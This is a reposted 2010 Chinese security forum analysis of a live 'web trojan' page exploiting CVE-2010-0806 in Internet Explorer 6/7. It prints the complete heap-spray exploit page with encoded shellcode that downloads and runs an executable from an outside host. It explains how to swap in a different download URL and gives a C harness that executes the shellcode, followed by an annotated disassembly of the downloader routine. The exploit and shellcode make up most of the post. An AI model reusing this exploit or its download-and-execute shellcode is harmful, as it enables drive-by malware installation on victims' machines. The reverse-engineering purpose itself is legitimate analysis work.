首页
社区
课程
招聘
[转帖]最新网马CVE-2010-0806的shellcode分析及测试
发表于: 2010-9-15 09:31 6676

[转帖]最新网马CVE-2010-0806的shellcode分析及测试

2010-9-15 09:31
6676
使用mdecoder 分析一个网站得知被挂马,继而向下分析。 

Log generated by anonymous use mdecoder 0.56 
[root]http://aac.artron.net/css/3.htm(Exploit.Ie0dayCVE0806.a) 
    [virus]http://bbs.5ifit.com/forumdata/plugins/cj.exe 

3.htm网页代码: 
<html> 
<body> 
<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button> 
<script language="javascript"> 
var shellcode = unescape("%u9090%u9090%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2e78%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u622F%u7362%u352E%u6669%u7469%u632E%u6D6F%u662F%u726F%u6D75%u6164%u6174%u702F%u756C%u6967%u736E%u632F%u2E6A%u7865%u0065%u0000"); 
var memory = new Array() 
var spraySize = 0x86000 - shellcode.length*2; 
var nop = unescape('%u0c0c%u0c0c'); 
while(nop.length < spraySize/2) nop +=nop; 
var nops = nop.substring(0, spraySize/2); 
delete nop; 
for(i=0;i<270;i++) 
{ 
memory = nops+nops+shellcode; 
} 
function payload() 
{ 
var body = document.createElement("BODY"); 
body.addBehavior("#default#userData"); 
document.appendChild(body); 
try 
{ 
for (i=0;i<10;i++) 
{body.setAttribute('s',window); 
} 
} 
catch(e) 
{} 
window.status+=''; 
} 
document.getElementById("bo").onclick(); 
</script> 
</body> 
</html> 

上面的shellcode就是溢出代码,用FreShow两次ESC解密: 
悙悙隩媢<媡5x 鮒媣 ?蒊A?? ?(8騮 了
贎腼;遳鏭媈$ 輋?K媈 輯 ?琶urlmon.dllC:\x.exe3纃 @0x 婡 媝 瓔@ ?婡4岪|婡<暱嶯 扈? 冹 ?$< 昉? /p鑟 T$鼚R?跾SR?S ]繕 鑃 ?$b 縹剽s鐯 http://bbs.5ifit.com/forumdata/plugins/cj.exe 

EXE路径在最后,我们可以直接更改,并测试这个溢出,在自己的电脑上用AWS.exe将自己的电脑架设成服务器,并在ASW.exe下放一个小程序,这里我放了一个HelloWorld。将上面的ShellCode代码中的 
%u7468%u7074%u2F3A%u622F%u7362%u352E%u6669%u7469%u632E%u6D6F%u662F%u726F%u6D75%u6164%u6174%u702F%u756C%u6967%u736E%u632F%u2E6A%u7865%u0065%u0000 

修改成 
%u7468%u7074%u2F3A%u312F%u3732%u302E%u302E%u312E%u312F%u652E%u6578 

上面的替换其实就是把http://bbs.5ifit.com/forumdata/plugins/cj.exe 替换成http://127.0.0.1/1.exe,替换的时候就先把http://127.0.0.1/1.exe转换成16进制,再整理成上面的样子就可以了。修改完成后直接将上面的代码保存为1.html运行,就会看到HelloWorld程序已经运行,当然,前提是你的电脑有这个漏洞。 
此溢出是CVE-2010-0806:微软公司2010年03月10日发布安全通报(981374),报告显示IE6和IE7出现新的远程代码执行漏洞 (CVE-2010-0806),IE 8不受该漏洞影响。 
接下来我们来看一下这段shellcode的功能: 
先把shellcode转换成16进制,用FreShow的ESC转换一次: 
\x90\x90\x90\x90\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x78\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x62\x62\x73\x2E\x35\x69\x66\x69\x74\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x75\x6D\x64\x61\x74\x61\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x63\x6A\x2E\x65\x78\x65\x00\x00\x00 

在VC中写入如下代码: 
#include <stdio.h> 
#include <windows.h> 
int main() 
{ 
LoadLibrary("kernel32.dll");            //载入kernel32.dll是因为shellcode中要用到这个库文件中的函数 
char shellcode[]="\x90\x90\x90\x90\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x78\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF\x68\x74\x74\x70\x3A\x2F\x2F\x62\x62\x73\x2E\x35\x69\x66\x69\x74\x2E\x63\x6F\x6D\x2F\x66\x6F\x72\x75\x6D\x64\x61\x74\x61\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x63\x6A\x2E\x65\x78\x65\x00\x00\x00"; 
__asm{ 
   lea eax,shellcode 
   push eax 
   ret ;这里会直接返回到shellcode去执行 
} 
return 0; 
} 

代码很简单,由于shellcode中要用到kernel32.dll中的函数,所以我导入了这个库文件(试想哪个PE文件不会导入这个库文件呢)。编译后得到1.exe,用OD打开
00401005 /$ /E9 06000000   JMP testb.main 
0040100A | |CC            INT3 
0040100B | |CC            INT3 
0040100C | |CC            INT3 
0040100D | |CC            INT3 
0040100E | |CC            INT3 
0040100F | |CC            INT3 
00401010 >|> \55            PUSH EBP 
00401011 |. 8BEC          MOV EBP,ESP 
00401013 |. 81EC 40010000 SUB ESP,140 
00401019 |. 53            PUSH EBX 
0040101A |. 56            PUSH ESI 
0040101B |. 57            PUSH EDI 
0040101C |. 8DBD C0FEFFFF LEA EDI,DWORD PTR SS:[EBP-140] 
00401022 |. B9 50000000   MOV ECX,50 
00401027 |. B8 CCCCCCCC   MOV EAX,CCCCCCCC 
0040102C |. F3:AB         REP STOS DWORD PTR ES:[EDI] 
0040102E |. 8BF4          MOV ESI,ESP 
00401030 |. 68 50F14100   PUSH OFFSET [email=testb.??_C@_0N@IDOE@kernel32?4dll?$AA]testb.??_C@_0N@IDOE@kernel32?4dll?$AA[/email]@                         ; /FileName = "kernel32.dll" 
00401035 |. FF15 38414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibraryA>]                               ; \LoadLibraryA 
0040103B |. 3BF4          CMP ESI,ESP 
0040103D |. E8 5E000000   CALL testb.__chkesp 
00401042 |. B9 3F000000   MOV ECX,3F 
00401047 |. BE 1CF04100   MOV ESI,OFFSET [email=testb.??_C@_0PP@JJHN@?$JA?$JA?$JA?$JA?kT?$ILu?$DM?$ILt5x?$A]testb.??_C@_0PP@JJHN@?$JA?$JA?$JA?$JA?kT?$ILu?$DM?$ILt5x?$A[/email]> 
0040104C |. 8DBD 00FFFFFF LEA EDI,DWORD PTR SS:[EBP-100] 
00401052 |. F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 
00401054 |. 66:A5         MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI] 
00401056 |. A4            MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 
00401057 |. 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100] 
0040105D |. 50            PUSH EAX 
0040105E \. C3            RETN 

一直F8到retn返回,就会直接返回到shellcode代码,
0012FE80    90              NOP 
0012FE81    90              NOP 
0012FE82    90              NOP 
0012FE83    90              NOP 
0012FE84    EB 54           JMP SHORT 0012FEDA    ;这里直接跳转到另一段shellcode中去执行了,去看看 
0012FE86    8B75 3C         MOV ESI,DWORD PTR SS:[EBP+3C] 
0012FE89    8B7435 78       MOV ESI,DWORD PTR SS:[EBP+ESI+78] 
0012FE8D    03F5            ADD ESI,EBP 
0012FE8F    56              PUSH ESI 
0012FE90    8B76 20         MOV ESI,DWORD PTR DS:[ESI+20] 
0012FE93    03F5            ADD ESI,EBP 
0012FE95    33C9            XOR ECX,ECX 
0012FE97    49              DEC ECX 
0012FE98    41              INC ECX 
0012FE99    AD              LODS DWORD PTR DS:[ESI] 
0012FE9A    33DB            XOR EBX,EBX 
0012FE9C    36:0FBE1428     MOVSX EDX,BYTE PTR SS:[EAX+EBP] 
0012FEA1    38F2            CMP DL,DH 
0012FEA3    74 08           JE SHORT 0012FEAD 
0012FEA5    C1CB 0D         ROR EBX,0D 
0012FEA8    03DA            ADD EBX,EDX 
0012FEAA    40              INC EAX 
0012FEAB ^ EB EF           JMP SHORT 0012FE9C 
0012FEAD    3BDF            CMP EBX,EDI 
0012FEAF ^ 75 E7           JNZ SHORT 0012FE98 
0012FEB1    5E              POP ESI 
0012FEB2    8B5E 24         MOV EBX,DWORD PTR DS:[ESI+24] 
0012FEB5    03DD            ADD EBX,EBP 
0012FEB7    66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2] 
0012FEBB    8B5E 1C         MOV EBX,DWORD PTR DS:[ESI+1C] 
0012FEBE    03DD            ADD EBX,EBP 
0012FEC0    8B048B          MOV EAX,DWORD PTR DS:[EBX+ECX*4] 
0012FEC3    03C5            ADD EAX,EBP 
0012FEC5    C3              RETN 

那个JMP跳转到了这里: 
0012FEDA    33C0            XOR EAX,EAX
0012FEDC    64:0340 30      ADD EAX,DWORD PTR FS:[EAX+30]      ; FS:[0]是TEB结构块,FS:[30]即PEB结构块
0012FEE0    78 0C           JS SHORT 0012FEEE
0012FEE2    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]       ; _PEB结构中的_PEB_LDR_DATA结构,_PEB._PEB_LDR_DATA
0012FEE5    8B70 1C         MOV ESI,DWORD PTR DS:[EAX+1C]      ; _PEB_LDR_DATA结构中的InInitializationOrderModuleListr的Flink,_PEB_LDR_DATA.InInitializationOrderModuleListr.Flink
0012FEE8    AD              LODS DWORD PTR DS:[ESI]            ; InInitializationOrderModuleList中按顺序存放着ntdll.dll,kernel32.dll的结点
0012FEE9    8B40 08         MOV EAX,DWORD PTR DS:[EAX+8]       ; kernel32.7C800000,kernel32的结点+8即得到kernel32在内存中的基址
0012FEEC    EB 09           JMP SHORT 0012FEF7
0012FEEC   /EB 09           JMP SHORT 0012FEF7
0012FEEE   |8B40 34         MOV EAX,DWORD PTR DS:[EAX+34]
0012FEF1   |8D40 7C         LEA EAX,DWORD PTR DS:[EAX+7C]
0012FEF4   |8B40 3C         MOV EAX,DWORD PTR DS:[EAX+3C]
0012FEF7   \95              XCHG EAX,EBP
0012FEF8    BF 8E4E0EEC     MOV EDI,EC0E4E8E                   ; EC0E4E8E是LoadLibraryA函数的Hash算法摘要,将其保存在EDI中
0012FEFD    E8 84FFFFFF     CALL 0012FE86                      ; 这个call是得到LoadLibraryA函数地址,保存在EAX中
{
0012FE86    8B75 3C         MOV ESI,DWORD PTR SS:[EBP+3C]      ; kernel32基址+3C是得到指向PE头的RVA,即IMAGE_DOS_HEADER中的e_lfanew
0012FE89    8B7435 78       MOV ESI,DWORD PTR SS:[EBP+ESI+78]  ; 再+78h得到指向导出表函数的指针,即IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress,这个是RVA
0012FE8D    03F5            ADD ESI,EBP                        ; EBP保存的是kernel32.dll的基址+输出表指针RVA,即得到输出表内存地址,IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress的VA
0012FE8F    56              PUSH ESI                           ; 将输出表地址压栈保存
0012FE90    8B76 20         MOV ESI,DWORD PTR DS:[ESI+20]      ; 输出表地址+20h得到输出函数名地址表位置,即得到IMAGE_EXPORT_DIERCTORY.AddressOfNames,这个也是RVA
0012FE93    03F5            ADD ESI,EBP                        ; 基址+输出函数名地址RVA,即得到输出函数名内存地址,IMAGE_EXPORT_DIERCTORY.AddressOfNames的VA
0012FE95    33C9            XOR ECX,ECX                        ; 将ECX清零,用来计数,用以保存比对过的函数个数
0012FE97    49              DEC ECX
0012FE98    41              INC ECX                            ; 当前比对的函数不是要寻找的函数时,下面的JNZ SHORT 0012FE98会跳到这里,并且ECX会加1
0012FE99    AD              LODS DWORD PTR DS:[ESI]            ; 将第一个输出函数的函数名RVA装入EAX中,并将ESI加1
0012FE9A    33DB            XOR EBX,EBX                        ; EBX清零,用来保存Hash算法结果
0012FE9C    36:0FBE1428     MOVSX EDX,BYTE PTR SS:[EAX+EBP]    ; 函数名RVA+基址即得到函数名内存地址,将函数名第一个字母装入EDX中
0012FEA1    38F2            CMP DL,DH                          ; 判断DX是否为空,即读到了用来分隔函数名与函数名之间的NULL,如ActivateActCtx.AddAtomA.AddAtomW...中的小圆点
0012FEA3    74 08           JE SHORT 0012FEAD                  ; DX为NULL,即说明一个函数名已经读完并得到了相应的Hash摘要,跳到下面去比较两个Hash是否相同
0012FEA5    C1CB 0D         ROR EBX,0D                         ; 循环右移13位
0012FEA8    03DA            ADD EBX,EDX                        ; 累加
0012FEAA    40              INC EAX                            ; EAX加1则使[EAX+EBP]取函数名的下一个字母
0012FEAB  ^ EB EF           JMP SHORT 0012FE9C                 ; 继续计算
0012FEAD    3BDF            CMP EBX,EDI                        ; EBX则保存了函数名的Hash算法的摘要,与压入的EDI比较
0012FEAF  ^ 75 E7           JNZ SHORT 0012FE98                 ; 如果不是要找的函数名则跳转到上面继续寻找
0012FEB1    5E              POP ESI                            ; 将上面保存的输出表地址重新从堆栈中弹出保存到ESI中
0012FEB2    8B5E 24         MOV EBX,DWORD PTR DS:[ESI+24]      ; 输出表地址+24h得到输出函数名序号表位置,即得到IMAGE_EXPORT_DIERCTORY.AddressOfNameOrdinals,这个是RVA
0012FEB5    03DD            ADD EBX,EBP                        ; 基址+输出函数名序号地址RVA,即得到输出函数名序号地址表内存中的地址,IMAGE_EXPORT_DIERCTORY.AddressOfNameOrdinals的VA
0012FEB7    66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2]     ; 输出函数名序号地址EBX+比对过的函数个数*2,即得到想得到的函数的序号
0012FEBB    8B5E 1C         MOV EBX,DWORD PTR DS:[ESI+1C]      ; 输出表地址+1Ch得到输出函数地址表的内存地址,即IMAGE_EXPORT_DIERCTORY.AddressOfFunctions,这个也是RVA
0012FEBE    03DD            ADD EBX,EBP                        ; 基址+输出函数地址表RVA,即得到输出函数地址表在内存中的地址,IMAGE_EXPORT_DIERCTORY.AddressOfFunctions的VA
0012FEC0    8B048B          MOV EAX,DWORD PTR DS:[EBX+ECX*4]   ; 输出函数地址表地址EBX+函数序号*4,即得到想得到的函数的地址RVA
0012FEC3    03C5            ADD EAX,EBP                        ; 函数地址RVA+基址,即得到了函数内存地址,这里得到的是得到LoadLibraryA函数地址
0012FEC5    C3              RETN
}
0012FF02    83EC 04         SUB ESP,4                          ; ESP减4,在堆栈中开辟一个DWORD大小空间,逻辑上是开辟空间,物理上这个空间还保留原来的数据,这个空间里存储的是执行上面CALL时留下来的东西,即执行CALL时压入的返回地址0012FF02,也就是当前指令的地址
0012FF05    832C24 3C       SUB DWORD PTR SS:[ESP],3C          ; [ESP]==0012FF02,0012FF02 - 3C = 0012FEC6,0012FEC6处保存的是urlmon.dll字符串,这两行代码看似不经意,但却展示了写这段shellcode人的巧妙
0012FF09    FFD0            CALL EAX                           ; 执行LoadLibraryA载入urlmon.dll库文件
0012FF0B    95              XCHG EAX,EBP                       ; EAX是LoadLibraryA返回urlmon.dll的基址,EBP中保存的是kernel32.dll的基址,EAX与EBP交换一下,之所以交换是因为在CALL中EBP是要充当保存urlmon.dll基址的寄存器,不交换就要出错啦
0012FF0C    50              PUSH EAX                           ; 压入kernel32.dll的基址
0012FF0D    BF 361A2F70     MOV EDI,702F1A36                   ; 702F1A36是URLDownloadToFileA函数的Hash算法摘要,将其保存在EDI中
0012FF12    E8 6FFFFFFF     CALL 0012FE86                      ; 得到URLDownloadToFileA函数地址,保存在EAX中
0012FF17    8B5424 FC       MOV EDX,DWORD PTR SS:[ESP-4]       ; [ESP-4] == 0012FF17,即[ESP-4]内容是当前的地址,也就是执行上面CALL后保留下来的东西,道理同0012FF02处的SUB ESP,4
0012FF1B    8D52 BA         LEA EDX,DWORD PTR DS:[EDX-46]      ; EDX-46 == 0012FED1,将0012FED1地址送入EDX中,在0012FED1处是C:\x.exe
0012FF1E    33DB            XOR EBX,EBX
0012FF20    53              PUSH EBX                           ; 开始压入URLDownloadToFileA函数需要的参数,此处为URLDownloadToFileA的LPBINDSTATUSCALLBACK lpfnCB
0012FF21    53              PUSH EBX                           ; 此处为URLDownloadToFileA的DWORD dwReserved
0012FF22    52              PUSH EDX                           ; 压入C:\x.exe字符串地址,此处为URLDownloadToFileA的LPCTSTR szFileName
0012FF23    EB 24           JMP SHORT 0012FF49                 ; 向下跳
0012FF25    53              PUSH EBX                           ; 此处为URLDownloadToFileA的LPUNKNOWN pCaller
0012FF26    FFD0            CALL EAX                           ; 执行URLDownloadToFileA下载病毒文件
0012FF28    5D              POP EBP                            ; 弹出kernel32.dll基址
0012FF29    BF 98FE8A0E     MOV EDI,0E8AFE98                   ; EC0E4E8E是WinExec函数的Hash算法摘要,将其保存在EDI中
0012FF2E    E8 53FFFFFF     CALL 0012FE86                      ; 得到WinExec函数地址,保存在EAX中
0012FF33    83EC 04         SUB ESP,4                          ; 同地址0012FF02,得到[ESP]==0012FF33
0012FF36    832C24 62       SUB DWORD PTR SS:[ESP],62          ; 0012FF33 - 62 = 0012FED1,此处是C:\x.exe,即执行这行指令后,相应于将C:\x.exe地址压入堆栈
0012FF3A    FFD0            CALL EAX                           ; 执行WinExec,运行C:\x.exe
0012FF3C    BF 7ED8E273     MOV EDI,73E2D87E                   ; 73E2D87E是ExitProcess函数的Hash算法摘要,将其保存在EDI中
0012FF41    E8 40FFFFFF     CALL 0012FE86                      ; 得到ExitProcess函数地址,保存在EAX中
0012FF46    52              PUSH EDX                           ; 压入ExitProcess参数NULL,这里的EDX已经为NULL,但往上看会看到最近的EDX(0012FF22处最近)保存的是C:\x.exe地址,而接下来并没有指令更改EDX,为什么EDX变为NULL了呢?这是因为在执行0012FF2E处的CALL时(这个CALL是来解密WinExec的)EDX被最终设置成了NULL
0012FF47    FFD0            CALL EAX                           ; 执行ExitProcess退出
0012FF49    E8 D7FFFFFF     CALL 0012FF25                      ; 上面的JMP跳到这里后,这个CALL又CALL到了0012FF25处,又回去了,到了JMP指令的下一句PUSH EBX。为什么要这样子?之所以到这里执行这个CALL是因为执行CALL后会压入CALL指令的下一行地址0012FF4E,而这个地址已经不是指令了,是下载地址http://...,很巧妙啊
0012FF4E    68 7474703A     PUSH 3A707474                      ; 从这里开始其实已经是数据了,http://bbs.5ifit.com/forumdata/plugins/cj.exe
0012FF53    2F              DAS
0012FF54    2F              DAS
0012FF55    6262 73         BOUND ESP,QWORD PTR DS:[EDX+73]
0012FF58    2E:35 69666974  XOR EAX,74696669
0012FF5E    2E:636F 6D      ARPL WORD PTR CS:[EDI+6D],BP

整个shellcode在内存中的模样: 
0012FE80  90 90 90 90 EB 54 8B 75 3C 8B 74 35 78 03 F5 56  悙悙隩媢<媡5x鮒 
0012FE90  8B 76 20 03 F5 33 C9 49 41 AD 33 DB 36 0F BE 14  媣 ?蒊A??? 
0012FEA0  28 38 F2 74 08 C1 CB 0D 03 DA 40 EB EF 3B DF 75  (8騮了.贎腼;遳 
0012FEB0  E7 5E 8B 5E 24 03 DD 66 8B 0C 4B 8B 5E 1C 03 DD  鏭媈$輋?K媈 
0012FEC0  8B 04 8B 03 C5 C3 75 72 6C 6D 6F 6E 2E 64 6C 6C  ??琶urlmon.dll 
0012FED0  00 43 3A 5C 78 2E 65 78 65 00 33 C0 64 03 40 30  .C:\x.exe.3纃@0 
0012FEE0  78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40  x.婡.媝瓔@?婡 
0012FEF0  34 8D 40 7C 8B 40 3C 95 BF 8E 4E 0E EC E8 84 FF  4岪|婡<暱嶯扈? 
0012FF00  FF FF 83 EC 04 83 2C 24 3C FF D0 95 50 BF 36 1A  冹?$<袝P? 
0012FF10  2F 70 E8 6F FF FF FF 8B 54 24 FC 8D 52 BA 33 DB  /p鑟婽$鼚R? 
0012FF20  53 53 52 EB 24 53 FF D0 5D BF 98 FE 8A 0E E8 53  SSR?S衇繕鑃 
0012FF30  FF FF FF 83 EC 04 83 2C 24 62 FF D0 BF 7E D8 E2  冹?$b锌~剽 
0012FF40  73 E8 40 FF FF FF 52 FF D0 E8 D7 FF FF FF 68 74  s鐯R需?ht 
0012FF50  74 70 3A 2F 2F 62 62 73 2E 35 69 66 69 74 2E 63  tp://bbs.5ifit.c 
0012FF60  6F 6D 2F 66 6F 72 75 6D 64 61 74 61 2F 70 6C 75  om/forumdata/plu 
0012FF70  67 69 6E 73 2F 63 6A 2E 65 78 65 00 00 00 00 CC  gins/cj.exe.... 

上面的shellcode应该是使用Metasploit生成的,是个标准的shellcode.

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 97
活跃值: (28)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
这里是原帖:
http://www.ycrack.com/read.php?tid=171&ordertype=asc
版式更好一些,顺便吐个曹,看雪的帖子太难编辑了,什么时候支持live writer吧!
2010-9-15 09:33
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
3
这个网马老了
2010-9-15 10:03
0
雪    币: 97
活跃值: (28)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
现在的不都是用这个的么?还有更新的么?
2010-9-15 21:06
0
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习了!!
2010-10-19 15:39
0
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
无论怎么变形,只要利用了Heap Spray技术都被杀灭了。
2010-10-20 09:09
0
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7


来,这是 IE 浏览结果
上传的附件:
2010-10-20 09:13
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
现在漏洞补丁大家打的都比较勤快了,这个漏洞攻击也受到很大制约了
2010-10-20 13:01
0
游客
登录 | 注册 方可回帖
返回
//